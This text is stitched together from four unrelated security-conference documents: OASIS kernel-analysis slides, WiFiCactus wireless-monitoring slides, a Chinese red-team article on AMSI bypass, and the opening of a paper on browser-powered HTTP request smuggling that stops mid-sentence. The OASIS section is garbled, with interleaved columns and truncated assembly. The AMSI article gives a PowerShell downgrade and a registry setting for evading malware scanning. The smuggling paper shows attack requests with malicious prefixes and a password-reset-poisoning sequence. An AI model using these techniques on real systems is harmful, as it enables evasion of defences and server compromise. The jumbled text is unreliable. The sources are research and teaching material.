export, onsite analysis, target thread restore. Onsite Analysis • Analyzer execution, target execution, analyzer execution, target execution, ... 11 onsite core target core analyzer target OASIS Manager target target analyzer analyzer export restore exit entry Guest VM Onsite Environment onsite analysis #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Primitive 1: Read/Write Kernel Memory • Application developer treats the kernel memory as part of her analyzer’s memory. • Direct memory reference using kernel virtual addresses; • Standard userspace APIs can be used. 12 void ∗ target_addr = 0xffffffff816f3090; struct file_security_struct obj; memcpy(target_addr, &obj, sizeof(struct file_security_struct)); //memcpy(&obj, target_addr, sizeof(struct file_security_struct)); write to kernel memory read kernel memory analyzer kernel memory direct reference kernel VA #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Primitive 2: Hijack Target Execution INT3 Probe for code breakpoint • Replace one byte at the concerned kernel code with the int3 (0xCC) instruction. • The interrupt handler transfers the control to OASIS Exit-Gate, a sequence of instructions that switch the underlying mapping so that the analyzer controls the CPU. 13 OASIS Exit-Gate g so that the target continues its execution nsite environment context. e onsite environment, the target directly memory-mapped I/O regions and DMA However, port I/O operations and inter- se virtual addresses and hence require e design is dependent on the underlying ed by the host OS to the guest. O requests are trapped to the hypervisor QEMU to execute. When the hardware external interrupt is delivered to QEMU ervisor to inject the interrupt into vCPU OASIS, the idea is to use the Manager e I/O operations on behalf the target. tion in the onsite core is trapped to the page which is mapped as writable unde the analyzer to flexibly customize the en Lib data page is used to save registers an transferring to destinations more than tw gates. 1. movq %rax, $rax_bak ;save rax 2. movq %rcx, $rcx_bak ;save rcx 3. movq $0x0, %rax ; EPT switch 4. movq $0x9, %rcx ; 9 for A-EPT 5. vmfunc ; switch to analyzer/target 6. jmpq *off_ana(%rip) ;to analyzer (a) Exit-gate 1. movq $0 2. movq $0 3. vmfunc 4. lea 0x6( 5. lea (%ra 6. jmpq *% 7. movq $r 8. movq $r 9. nop ; n .... 31.jmpq *o paging hierarchy switch by an EPT switch #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Primitive 2: Hijack Target Execution JMP Probe for control flow tracing • Replace 13 bytes at the concerned kernel code with: REX.W ljmp *offset(%rip) • The long-jump instruction transfers the control to OASIS Exit-Gate via a call gate in the GDT. Event interception • A JMP probe is inserted to the entry of the corresponding handlers. 14 OASIS Exit-Gate g so that the target continues its execution nsite environment context. e onsite environment, the target directly memory-mapped I/O regions and DMA However, port I/O operations and inter- se virtual addresses and hence require e design is dependent on the underlying ed by the host OS to the guest. O requests are trapped to the hypervisor QEMU to execute. When the hardware external interrupt is delivered to QEMU ervisor to inject the interrupt into vCPU OASIS, the idea is to use the Manager e I/O operations on behalf the target. tion in the onsite core is trapped to the page which is mapped as writable unde the analyzer to flexibly customize the en Lib data page is used to save registers an transferring to destinations more than tw gates. 1. movq %rax, $rax_bak ;save rax 2. movq %rcx, $rcx_bak ;save rcx 3. movq $0x0, %rax ; EPT switch 4. movq $0x9, %rcx ; 9 for A-EPT 5. vmfunc ; switch to analyzer/target 6. jmpq *off_ana(%rip) ;to analyzer (a) Exit-gate 1. movq $0 2. movq $0 3. vmfunc 4. lea 0x6( 5. lea (%ra 6. jmpq *% 7. movq $r 8. movq $r 9. nop ; n .... 31.jmpq *o paging hierarchy switch by an EPT switch #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted ution ectly DMA inter- quire lying visor ware EMU CPU nager arget. o the arget p g pp the analyzer to flexibly customize the entry-gate. An OASIS- Lib data page is used to save registers and to facilitate control transferring to destinations more than two GB away from the gates. 1. movq %rax, $rax_bak ;save rax 2. movq %rcx, $rcx_bak ;save rcx 3. movq $0x0, %rax ; EPT switch 4. movq $0x9, %rcx ; 9 for A-EPT 5. vmfunc ; switch to analyzer/target 6. jmpq *off_ana(%rip) ;to analyzer (a) Exit-gate 1. movq $0x0, %rax ; EPT switch 2. movq $0x0, %rcx ; 0 for T-EPT 3. vmfunc ; switch to target/lib 4. lea 0x6(%rip), %rax ; rax points to line 7 5. lea (%rax, %rcx, 4), %rax ;adjust rax 6. jmpq *%rax ; jmp to Line7 if rcx=0; 7. movq $rax_bak, %rax ; restore rax 8. movq $rcx_bak, %rcx ;restore rcx 9. nop ; nop slide (22 nops) .... 31.jmpq *off_tar(%rip) ; to target addr (b) Entry-gate Fig 7 Assembly code of the exit gate that passes the control to the analyzer Primitive 3: Resume Target Execution Resuming the target. • Analyzer prepares the CPU context for the target execution (including RIP) • It returns the control to the target by jumping to OASIS Entry-Gate, a sequence of instructions that switches the underlying mappings so that the target gets the control. 15 OASIS Entry-Gate switch to target’s paging hierarchy jump to the target destination #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Example 1: Kmalloc() monitoring • To analyze how kmalloc() is called in a kernel thread 16 void main () { //initialization .... OASIS_set_INT3(kmalloc_addr); OASIS_resume_targ(&CPU); return; } void int3_handler() { //analysis workload ... if (end) OASIS_rm_INT3(&kmalloc_addr); OASIS_resume_targ(&CPU); return; } The handler function is called when the INT3-probe is encountered in the target kernel thread execution inside the onsite environment. #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Example 2: Control Flow Tracing • To track the control flow of the target from the capturing point 17 void main () { //initialization .... OASIS_set_JMP(bb_exit); OASIS_resume_targ(&CPU); return; } void jmp_handler(){ ... //analysis workload ... //find next block to run //remove the current one OASIS_rm_JMP(bb_exit); //set the new prob OASIS_set_JMP(next_bb_exit); // resume target from the next block. OASIS_resume_targ(&CPU); return; } block n block n+1 block n+2 handler Target handler Analyzer jmp probe jmp probe jmp probe #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Demo 1: Introspection (Screenshot) 18 Target in Guest VM Output from guest kernel Analyzer in host same content same content reference #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Demo 2: Breakpoint + tracing (screenshot) 19 Target in Guest VM Output from guest kernel Analyzer in host 1st triggering 2nd triggering 5 bbs traced #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Discussions Potential Applications: • Virtual machine introspection • Kernel debugger • Cross-space malware analysis • Attack scene forensics and response 20 Features: • Thread-centric, “surgical” analysis, • Not for large-scale code-centric analysis such as profiling • Strong security and transparency #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Future Work More primitives • data breakpoint, multi-core Migration to ARM Platform • Feasible. • Caveat: ARM does not have vmfunc instruction. A user space program cannot issue hypercalls. 21 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Black Hat Sound Bytes 1. With OASIS, one can easily develop and run a user-space onsite analyzer to dynamically and natively read, write and control a user/kernel thread in a VM. • No modification of the kernel is needed. No instrumentation. • Strong security and transparency. 2. Suitable applications for onsite analyzers: • VMI, kernel debugging, cross-space malware analysis, live kernel forensics, incident response etc. 22 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted • Jiaqi Hong, Xuhua Ding, "A Novel Dynamic Analysis Infrastructure to Instrument Untrusted Execution Flow Across User-Kernel Spaces", IEEE Symposium on Security and Privacy, 2021 • OASIS resources: https://github.com/OnsiteAnalysis/OASIS 23 Reference #BHUSA @BlackHatEvents [email protected]
pdf
2 SLIDE about me some call me a one trick pony, others call me passionate • mad scientist hacker who likes to meddle with hardware and software. • particularly obsessed with wireless. • degree in computer science from Southern Utah University • loves include: • web application pentesting • wireless monitoring and tracking • reverse engineering • creator of the #WiFiCactus • Kismet cultist • Runner 3 SLIDE history background Wardriving got popular in the early 2000’s as a way for people to find open networks to piggyback on [1]. Equipment was pretty expensive and limited. 2000 The number of devices that are connected over wireless has increased exponentially since the early 2000’s and make Wardriving, Netstumbling and Wireless Monitoring more exciting than ever. 2015 Warwalking with a single-board computer in my backpack for Defcon 23. Collected data on 2 channels at a time. Backpack Test Project 2016 Planted 12 monitoring boxes around the conference for Defcon 24. 48 total wireless radios scanning at the same time. Project Lana 2017+ 25 Hak5 Pineapple Tetras that cover 50 total channels in 2.4 and 5 GHz. Over 3 hours of battery life. Weighs ~35 lbs. #WiFiCactus [1] https://en.wikipedia.org/wiki/Wardriving 4 SLIDE WiFiCactus but why though? Understand the FUD Nearly every person has heard that DEFCON’s network is the most dangerous in the world. I wanted to know why and how it is so dangerous. Understanding is the first step to protecting yourself. The Connected World Everything is connected now and usually with more than 1 radio. This makes for amazing data. Whether it’s your phone’s mobile hotspot to the ‘SMART’ THINGS (IoT) need to be connected and we gotta catch them all! Verify Then Trust Do you trust that security, software and API’s are being done correctly when communicating over a network? Do you know if your favorite app uses encryption? By scanning yourself you can verify how secure things are. 5 SLIDE data captured got data? 0 200 400 600 800 1000 1200 2015 2016 2017 2018-19 Gigabytes Captured DEFCON Year by year captured data at DEFCON 1 BLACKHAT Year by year captured data at Blackhat 2 Other Places Captures at DC China, DefCamp, SaintCon, CactusCon, Shmoocon and more 3 1.1 TB 6 SLIDE how’d you do analysis? sometimes you have a tool and sometimes you build a tool Traditional Network Tools Wireshark and Networkminer were instrumental in providing summery information from the PCAP data. Great for spot checking the data. Kismet WebUI and KismetDB Awesome for real-time analytics about what is happening. Additionally helpful to reload KismetDB files after the fact to relive the fun. KismetDB’s are SQLITE DBs which enables easy querying. PCAPinator Built a custom Python 3 tool that leverages Wireshark’s command line tools like tshark by using parallel processing on very large PCAP file datasets. Has a lot of custom output types like CSV, HCCX, etc. 7 SLIDE pcapinator a tool to run a lot of tsharks Design by: @elkentaro 8 SLIDE pcapinator a tool to run a lot of tsharks https://github.com/mspicer/pcapinator 9 SLIDE pcapinator a tool to run a lot of tsharks https://github.com/mspicer/pcapinator 10 SLIDE pcapinator a tool to run a lot of tsharks DEMO VIDEO 11 SLIDE SO WHAT DID YA’LL DO LAST SUMMER? 12 SLIDE getting to know you where are you from? Probes and WIGLE.net This info is based on probe requests captured during DEFCON and then searching those using the Wigle API. WPA 2 Unknown WEP WPA NONE KEY 13 SLIDE getting to know you where are you from? Probes and WIGLE.net This info is based on probe requests captured during DEFCON and then searching those using the Wigle API. 14 SLIDE getting to know you where are you from? Probes and WIGLE.net This info is based on probe requests captured during DEFCON and then searching those using the Wigle API. 15 SLIDE getting to know you where are you from? Probes and WIGLE.net This info is based on probe requests captured during DEFCON and then searching those using the Wigle API. 16 SLIDE getting to know you where are you from? Probes and WIGLE.net This info is based on probe requests captured during DEFCON and then searching those using the Wigle API. 17 SLIDE getting to know you where are you from? Probes and WIGLE.net This info is based on probe requests captured during DEFCON and then searching those using the Wigle API. 18 SLIDE getting to know you where have you been? MAC Addresses and Where This graph uses unique MAC addresses and knowing where the MAC address was seen at. DEF CON 25 Blackhat 17 Blackhat 18 DEF CON 26 ShmooCon ‘18 Saintcon ‘18 DEF CON China Beta DefCamp ‘17 19 SLIDE wireless attacks its not all just pineapples MAC Address Attack Type OUI/Manufacturer Notes 1 92:16:F9:9F:4D:08 Deauthentication Unknown Likely random MAC address, trying to DDOS or gather handshakes 2 07:7D:FD:FF:A1:A1 Deauthentication Unknown Likely random MAC address, trying to DDOS or gather handshakes 3 00:FF:A4:9F:FB:98 Deauthentication Unknown Likely random MAC address, trying to DDOS or gather handshakes 4 02:C0:CA:8D:A3:F4 KRACKS Attack Unknown Likely random MAC address, trying to break encryption 5 00:13:37:A6:16:8B MiTM/Karma Hak5 Pineapple doing pineapple things. At least 50 other Pineapples were seen as well. 6 AE:5F:3E:64:7F:0A SSID bigger than 32 bytes Unknown Something fishy is going on here with the SSID Kismet IDS Provided These Alerts Thanks to the built in Intrusion Detection System in Kismet, it is able to identify these threats and log them to the Kismet database. This is a small sampling of common wireless threats in the environment. 20 SLIDE wall of sheep? not really, but here’s some probably fake creds Server Protocol Username Password 1 37.97.160.12 (hotdog.net) HTTP bomb 8=*** 2 136.160.88.139 (usna.edu) HTTP dadmin010 PS2YS65************ 3 23.56.119.46 (samsung.com) HTTP highspeed2 HCMRX2*********** 4 161.170.244.20 (walmart.com) HTTP leviton4 XOAEJLU*********** 5 70.120.194.95 (austin.0x.no) HTTP NationalShitpostingAgency NSA********* 6 133.242.149.131 (perorist.win) HTTP peropero perop******* 7 23.38.226.56 (xfinity.com) HTTP surt8 U0Z69L8Y********* 8 64.137.180.143 HTTP ******* will help build Trump’s wall F87ef********* 9 211.251.140.134 SNMPv1 SNMP Community public 21 SLIDE data leaks sharing is caring! App API’s using HTTP Found in the DEFCON 25 dataset this API leaks location information potentially from a weather app showing sunrise info on a mobile device. The app could have trusted access to location data and shares it with anyone listening. Host: www.met.no API Call: http://api.met.no/weatherapi/sunrise/1.1/?lat=36.1164&lon=- 115.1785&date=2018-08-11 Lat/Lon: 36.1164,-115.1785 API still accepts HTTP requests today but was updated a little: http://api.met.no/weatherapi/sunrise/2.0/?lat=36.1164&lon=- 115.1785&date=2018-08-11&offset=-08:00 22 SLIDE data leaks sharing is caring! App API’s using HTTP Found in the DEFCON 26 dataset this API leaks location information from a ZTE Desktop Widget using Accu- Weather which likely has privileged access to location data on your phone. Host: accu-weather.com Device: Android API Call: http://ztedesktopwidget.accu- weather.com/widget/ztedesktopwidget/weather- data.asp?slat=36.11675439&slon=-115.1785 Lat/Lon: 36.11675439,-115.1785 Currently still using HTTP for the API. 23 SLIDE data leaks sharing is caring! Alienware Bloatware Found in the DEFCON 26 dataset this API call leaks your Alienware laptop serial number and OS version. Host: content.dellsupportcenter.com Device: Windows 10 Build 6.0.6992.1236 API Call: http://content.dellsupportcenter.com/mstr/pd.txt?pr=Ali enware%2017%20R3&os=Win%2010%20%2817134.165 %29&build=6.0.6992.1236&up=true&serial=9RN1462& id=4997f137-e883-45e2-9714- 50d5f2c4c45b&dl=true&saaver=2.2.3.2&wr=1%2F20%2 F2017%2012%3A00%3A00%20AM Warranty Status: Expired Jan 20, 2017 24 SLIDE random sample of dns ALL YOUR DNS… www.myspace.com www.privateinternetaccess.com www.finaid.caltech.edu voyzwhpwt.coxhn.net (x1k) tracker-api.my.com tracking.optimatic.com track.eyeviewads.com digitaltarget.ru pixel.*.com (x50) splunkoxygen.com eb3dba18c25854f62ed2c3b5e73c d97a.0001abf0.iot.dc.org cdn.*.com (x5k) www.pornhub.com wifiprotect.mcafee.com api.*.com (x5k) www.pjrc.com www.wifipineapple.com f*ckinghomepage.com teamviewer.com abercrombie.com ads.*.com DNS is typically unencrypted The listed domains had DNS queries that were passed in the clear. If the website is using encryption no other information beyond DNS was gathered. 25 SLIDE i heard you like slack SLACK FTW 0xproject.slack.com def0x.slack.com operationona.slack.com 2018defconwork.slack.com files.slack.com rbs-interns.slack.com avtokyo.slack.com ic3ethereum.slack.com redballoonsecurity.slack.com blockchainedu.slack.com infosecboston.slack.com seccon2016noc.slack.com cohort-x-corp.slack.com mohikan.slack.com sfs-csusb.slack.com consensys.slack.com muckrock.slack.com spamandhex.slack.com darksite26.slack.com openzeppelin.slack.com status-im.slack.com DNS is typically unencrypted Thanks to Slack using subdomains we can find out about all of the secret slacks people are using at DEFCON. 26 SLIDE findings summary what i’ve learned DEFCON is truly a global community DEAUTH’s will happen PINEAPPLES are a thing API’s will leak IT WAS DNS (MYSPACE?????) Hackers like Slack for some reason Don’t believe the HYPE, looking at you broadpwn 27 SLIDE countermeasures protection knowing is half the battle! Do not enable auto-connect when connecting to an open Wireless Network! Delete networks from your devices that you are not going to continue to connect to! DO NOT AUTO-CONNECT countermeasures protection VPN services are cheaper and easier to use now than ever. You can get one that has an app on your device that will enable you to easily enable it when you are on an untrusted network. USE A VPN Using data over cell networks should reduce your risk and coupling it with a VPN on top will make it even better. USE 4G*/5G INSTEAD *New research about 4G vulnerabilities is due to be released stay tuned for updates and panic. 28 SLIDE thank you this project could have not been possible without so many of you! thank you for giving me the inspiration to keep being curious! D E F C O N huge thank you to everyone at hak5 who’ve been supportive from the beginning! H A K 5 huge thank you to dragorn! without kismet this project wouldn’t have been possible! K I S M E T the conference that gave me the confidence to keep presenting! S A I N T C O N greetz and thank you to all of the supportive utah hackers who have always been there for me! D C 8 0 1 thank you to Netresec for giving me access to their awesome software! N E T W O R K M I N E R thank you for solving big data visualization problems and providing me access to your API! G R A P H I S T R Y thank you for creating an awesome war driving app and sharing the data with the world! W I G L E . N E T 29 SLIDE thank you this project could have not been possible without so many of you! HUGE THANK YOU TO EACH OF YOU HERE AND ONLINE THAT CONTINUALLY SUPPORT ME! you are the inspiration that keeps me innovating and building late into the night! 30 SLIDE the end @d4rkm4tter github.com/mspicer/pcapinator palshack.org @d4rkm4tter_ bit.ly/2OkdYz2
pdf
PowerShell Version Release Date Default Windows Versions PowerShell 1.0 November 2006 Windows Server 2008 (*) PowerShell 2.0 October 2009 Windows 7 Windows Server 2008 R2 (**) PowerShell 3.0 September 2012 Windows 8 Windows Server 2012 PowerShell 4.0 October 2013 Windows 8.1 Windows Server 2012 R2 PowerShell 5.0 February 2016 Windows 10 PowerShell 5.1 January 2017 Windows 10 Anniversary Update Windows Server 2016 Windows Server 2019 PowerShell Core 6 January 2018 N/A PowerShell 7 March 2020 N/A Bypass AMSI的前世今生(2) - 2种低成本对抗方法 0x00 前言 本文主要介绍2种低成本的对抗AMSI的方法: [BA1] 降级PowerShell版本到2.0 [BA4] 设置注册表“HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable”设置为 0, 以禁用 AMSI 我们沿用测试、思考、验证的思路,对这2种方法进行分析。 0x01 降级攻击 降级攻击顾名思义,就是使用低版本(2.0)的PowerShell来执行攻击脚本,因为在低版本的 powershell上没有AMSI。在我们测试之前,我们需要知道PowerShell在Windows上的预装情况。如图 所示:https://4sysops.com/wiki/differences-between-powershell-versions/ * Has to be installed through Server Manager ** Also integrated in all later Windows versions 通多以上图,我们可以看出,2.0在当前常用的系统上默认安装的很少。AMSI是在win10、 winServer2016开始装备的,也就是说我们要研究的其实是Win10、Win2016、Win2019上面2.0的安装 情况。因为.Net CLR 4.0是不兼容PowerShell2.0的,PowerShell2.0是基于.NET CLR 2.0的,而.NET CLR 2.0是.NET2/3/3.5的运行时,对照表如下: 通过查询官方文档,只有.NET Framework 3.5在Win10的机器上默认安装,也就是说降级攻击默认使用 只能在Win10上使用。但是不要太相信官方文档,官方文档也不一定正确。同时很多服务依赖 于.Net2/2/3/3.5,很有可能管理员会自己安装。因此使用攻击前自己探测清楚很重要。我们可以使用以 下命令判断能否使用Powershell2.0: AttackTeamFamily No. 1 / 5 - www.red-team.cn 我们在Win10上测试以下降级攻击: 在命令种直接使用powershell.exe -version 2改变运行版本。如果在脚本中使用,在脚本开头加入 #requires -version 2,这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版 本执行。注意不是所有powershell脚本都能在2.0上执行,需要注意攻击脚本支不支持2.0。不要看完这 个,傻乎乎的去加一行#requires -version 2,就以为能绕过了。 在这儿可能你还要问一个问题Powershell 3.0行不行呢?答案是不行的,使用 -version 3/4/5 其实都是 使用的当前版本的powershell。 注:非管理员权限 Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get- ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version 注:需要管理员权限 Win10: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 Win2016/Win2019 Get-WindowsFeature PowerShell-V2 AttackTeamFamily No. 2 / 5 - www.red-team.cn 这说完了PowerShell的降级攻击,VBscript/Jscript可不可以呢?我查询了vbscript.dll和jscript.dll的版 本,对比了win7/08/10/12/16/19。其中10/16/19是:5.812.10240.16384,7/08是5.8.7600.16385, 12的是5.8.9600.16384。只有5.812.10240.16384中包含了amsi.dll的导入,这也符合官方公布的在 win10/16以后的版本中加入AMSI: 经过初步分析vbscript/jscript不存在所谓降级攻击,因为在10/16/19并不存在像powershell一样的断代 情况。 0x02 该注册表禁用 AMSI 设置注册表“HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable”设置为 0,以禁用 AMSI。这个看着挺简单,也挺好防护的。我们先测试以下效果。 我在以下版本上测试: Win10 x64 1709 Win10 x64 1809 Win10 x64 1809 1911 update Win10 x64 1903 Win10 x64 2004 均不能成功。同时1709上不存在HKEY_CURRENT_USER\Software\Microsoft\ Windows Script\Settings,加黑部分不存在。 我去Twitter搜索相关内容,发现这个问题的发现者有一张截图: AttackTeamFamily No. 3 / 5 - www.red-team.cn 可是我翻遍了这几个系统版本的amsi.dll、jscript.dll、vbscript.dll、wscript.exe、cscript.exe均不存在 这段代码。于是给作者留言,但是还没有得到回复。 在evi1cg博客《DotNetToJScript 复活之路》看到这一张图,这个问题肯定曾今是存在的: 但是不知道是不是被微软悄悄修复了,我在多个版本的win10系统上均不能复现: 不管这个方法曾今是否存在过,是不是微软悄悄修复了。目前肯定是不能用了。 本来是打算写[BA1-4]的,这个注册表卡了我好久,因此我先把这部分发出来把!接下来再写[BA2-3], 关于混淆攻击脚本,和一行命令关闭AMSI。 AttackTeamFamily No. 4 / 5 - www.red-team.cn 0x03 引用 https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies #net-framework-35 https://devblogs.microsoft.com/powershell/windows-powershell-2-0-deprecation/ https://blog.csdn.net/lidandan2016/article/details/77868043 https://evi1cg.me/archives/AMSI_bypass.html https://twitter.com/Tal_Liberman/status/1097163697129181184 AttackTeamFamily No. 5 / 5 - www.red-team.cn
pdf
Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling James Kettle - [email protected] - @albinowax The recent rise of HTTP Request Smuggling has seen a flood of critical findings enabling near-complete compromise of numerous major websites. However, the threat has been confined to attacker-accessible systems with a reverse proxy front-end... until now. In this paper, I'll show you how to turn your victim's web browser into a desync delivery platform, shifting the request smuggling frontier by exposing single-server websites and internal networks. You'll learn how to combine cross-domain requests with server flaws to poison browser connection pools, install backdoors, and release desync worms. With these techniques I'll compromise targets including Apache, Akamai, Varnish, Amazon, and multiple web VPNs. This new frontier offers both new opportunities and new challenges. While some classic desync gadgets can be adapted, other scenarios force extreme innovation. To help, I'll share a battle-tested methodology combining browser features and custom open-source tooling. We'll also release free online labs to help hone your new skillset. I'll also share the research journey, uncovering a strategy for black-box analysis that solved a long-standing desync obstacle and unveiled an extremely effective novel desync trigger. The resulting fallout will encompass client-side, server-side, and even MITM attacks. To wrap up, I'll demo mangling HTTPS to trigger an MITM-powered desync on Apache. Outline This paper covers four key topics. HTTP handling anomalies covers the sequence of novel vulnerabilities and attack techniques that led to the core discovery of browser-powered desync attacks, plus severe flaws in amazon.com and AWS Application Load Balancer. Client-side desync introduces a new class of desync that poisons browser connection pools, with vulnerable systems ranging from major CDNs down to web VPNs. Pause-based desync introduces a new desync technique affecting Apache and Varnish, which can be used to trigger both server-side and client-side desync exploits. Conclusion offers practical advice for mitigating these threats, and potential variations which haven't yet been discovered. In this paper I'll use the term "browser-powered desync attack" as a catch-all term referring to all desync attacks that can be triggered via a web browser. This encompasses all client-side desync attacks, plus some server-side ones. As case studies, I'll target quite a few real websites. All vulnerabilities referenced in this paper have been reported to the relevant vendors, and patched unless otherwise mentioned. All bug bounties earned during our research are donated to charity1. This research is built on concepts introduced in HTTP Desync Attacks2 and HTTP/2: The Sequel is Always Worse3 - you may find it's worth referring back to those whitepapers if anything doesn't make sense. We've also covered the core, must-read aspects of this topic in our Web Security Academy. Practical application This paper introduces a lot of techniques, and I'm keen to make sure they work for you. As part of that, My team has built live replicas of key vulnerabilities4, so you can practise online for free I've released the full source-code behind the discovery and exploitation of every case-study, as updates to HTTP Request Smuggler5 and Turbo Intruder6. Finally, please note that the live version of this whitepaper at https://portswigger.net/research/browser-powered-desync- attacks7 contains videos of key attacks, and will be updated with a recording of the presentation. Enjoy! Table of contents HTTP handling anomalies Connection state attacks The surprise factor Detecting connection-locked CL.TE Browser-compatible CL.0 H2.0 on amazon.com Client-side desync Methodology Akamai stacked-HEAD Cisco VPN client-side cache poisoning Verisign fragmented chunk Pulse Secure VPN Pause-based desync Server-side MITM-powered Conclusion Further research Defence Summary HTTP handling anomalies Research discoveries often appear to come out of nowhere. In this section, I'll describe four separate vulnerabilities that led to the discovery of browser-powered desync attacks. This should provide useful context, and the techniques are also quite powerful in their own right. Connection state attacks Abstractions are an essential tool for making modern systems comprehensible, but they can also mask critical details. If you're not attempting a request smuggling attack, it's easy to forget about HTTP connection-reuse and think of HTTP requests as standalone entities. After all, HTTP is supposed to be stateless. However, the layer below (typically TLS) is just a stream of bytes and it's all too easy to find poorly implemented HTTP servers that assume multiple requests sent over a single connection must share certain properties. The primary mistake I've seen in the wild is servers assuming that every HTTP/1.1 request sent down a given TLS connection must have the same intended destination and HTTP Host header. Since web browsers comply with this assumption, everything will work fine until a hacker turns up. I've encountered two distinct scenarios where this mistake has significant security consequences. First-request validation Reverse proxies often use the Host header to identify which back-end server to route each request to, and have a whitelist of hosts that people are allowed to access: GET / HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK GET / HTTP/1.1 Host: intranet.example.com -connection reset- However, I discovered that some proxies only apply this whitelist to the first request sent over a given connection. This means attackers can gain access to internal websites by issuing a request to an allowed destination, followed by one for the internal site down the same connection: GET / HTTP/1.1 Host: www.example.com GET / HTTP/1.1 Host: intranet.example.com HTTP/1.1 200 OK ... HTTP/1.1 200 OK Internal website Mercifully, this mistake is quite rare. First-request routing First-request routing is a closely related flaw, which occurs when the front-end uses the first request's Host header to decide which back-end to route the request to, and then routes all subsequent requests from the same client connection down the same back-end connection. This is not a vulnerability itself, but it enables an attacker to hit any back-end with an arbitrary Host header, so it can be chained with Host header attacks8 like password reset poisoning, web cache poisoning, and gaining access to other virtual hosts. In this example, we'd like to hit the back-end of example.com with a poisoned host-header of 'psres.net' for a password reset poisoning attack, but the front-end won't route our request: POST /pwreset HTTP/1.1 Host: psres.net HTTP/1.1 421 Misdirected Request ... Yet by starting our request sequence with a valid request to the target site, we can successfully hit the back-end: GET / HTTP/1.1 Host: example.com POST /pwreset HTTP/1.1 Host: psres.net HTTP/1.1 200 OK ... HTTP/1.1 302 Found Location: /login Hopefully triggering an email to our victim with a poisoned reset link: Click here to reset your password: https://psres.net/reset?k=secret You can scan for these two flaws using the 'connection-state probe' option in HTTP Request Smuggler. The surprise factor Most HTTP Request Smuggling attacks can be described as follows: Send an HTTP request with an ambiguous length to make the front-end server disagree with the back-end about where the message ends, in order to apply a malicious prefix to the next request. The ambiguity is usually achieved through an obfuscated Transfer-Encoding header. Late last year I stumbled upon a vulnerability that challenged this definition and a number of underlying assumptions. The vulnerability was triggered by the following HTTP/2 request, which doesn't use any obfuscation or violate any RFCs. There isn't even any ambiguity about the length, as HTTP/2 has a built-in length field in the frame layer: :method POST :path / :authority redacted X This request triggered an extremely suspicious intermittent 400 Bad Request response from various websites that were running AWS Application Load Balancer (ALB) as their front-end. Investigation revealed that ALB was mysteriously adding a 'Transfer-Encoding: chunked' header before forwarding the request to the back-end, without making any alterations to the message body: POST / HTTP/1.1 Host: redacted Transfer-Encoding: chunked X Exploitation was trivial - I just needed to provide a valid chunked body: :method POST :path / :authority redacted 0 malicious-prefix POST / HTTP/1.1 Host: redacted Transfer-Encoding: chunked 0 malicious-prefix This is a perfect example of finding a vulnerability that leaves you retrospectively trying to understand what actually happened and why. There's only one thing that's unusual about the request - it has no Content-Length (CL) header. Omitting the CL is explicitly acceptable in HTTP/2 due to the aforementioned built-in length field. However, browsers always send a CL so the server apparently wasn't expecting a request without one. I reported this to AWS, who fixed it within five days. This exposed a number of websites using ALB to request smuggling attacks, but the real value was the lesson it taught. You don't need header obfuscation or ambiguity for request smuggling; all you need is a server taken by surprise. Detecting connection-locked CL.TE With these two lessons in the back of my mind, I decided to tackle an open problem highlighted by my HTTP/2 research last year - generic detection of connection-locked9 HTTP/1.1 request smuggling vulnerabilities. Connection-locking refers to a common behaviour whereby the front-end creates a fresh connection to the back-end for each connection established with the client. This makes direct cross-user attacks mostly impossible, but still leaves open other avenues of attack. To identify this vulnerability, you need to send the "attacker" and "victim" requests over a single connection, but this creates huge numbers of false positives since the server behaviour can't be distinguished from a common, harmless feature called HTTP pipelining10. For example, given the following request/response sequence for a CL.TE attack, you can't tell if the target is vulnerable or not: POST / HTTP/1.1 Host: example.com Content-Length: 41 Transfer-Encoding: chunked 0 GET /hopefully404 HTTP/1.1 Foo: barGET / HTTP/1.1 Host: example.com HTTP/1.1 301 Moved Permanently Location: /en HTTP/1.1 404 Not Found Content-Length: 162... You can test this for yourself in Turbo Intruder by increasing the requestsPerConnection setting from 1 - just be prepared for false positives. I wasted a lot of time trying to tweak the requests to resolve this problem. Eventually I decided to formulate exactly why the response above doesn't prove a vulnerability is present, and a solution became apparent immediately: From the response sequence above, you can tell that the back-end is parsing the request using the Transfer-Encoding header thanks to the subsequent 404 response. However, you can't tell whether the front-end is using the request's Content-Length and therefore vulnerable, or securely treating it as chunked and assuming the orange data has been pipelined. To rule out the pipelining possibility and prove the target is really vulnerable, you just need to pause and attempt an early read after completing the chunked request with 0\r\n\r\n. If the server responds during your read attempt, that shows the front-end thinks the message is complete and therefore must have securely interpreted it as chunked: POST / HTTP/1.1 Host: example.com Content-Length: 41 Transfer-Encoding: chunked 0 HTTP/1.1 301 Moved Permanently Location: /en If your read attempt hangs, this shows that the front-end is waiting for the message to finish and, therefore, must be using the Content-Length, making it vulnerable: POST / HTTP/1.1 Host: example.com Content-Length: 41 Transfer-Encoding: chunked 0 -connection timeout- This technique can easily be adapted for TE.CL vulnerabilities too. Integrating it into HTTP Request Smuggler quickly revealed a website running IIS behind Barracuda WAF that was vulnerable to Transfer-Encoding : chunked. Interestingly, it turned out that an update which fixes this vulnerability was already available, but it was implemented as a speculative hardening measure11 so it wasn't flagged as a security release and the target didn't install it. CL.0 browser-compatible desync The early-read technique flagged another website with what initially looked like a connection-locked TE.CL vulnerability. However, the server didn't respond as expected to my manual probes and reads. When I attempted to simplify the request, I discovered that the 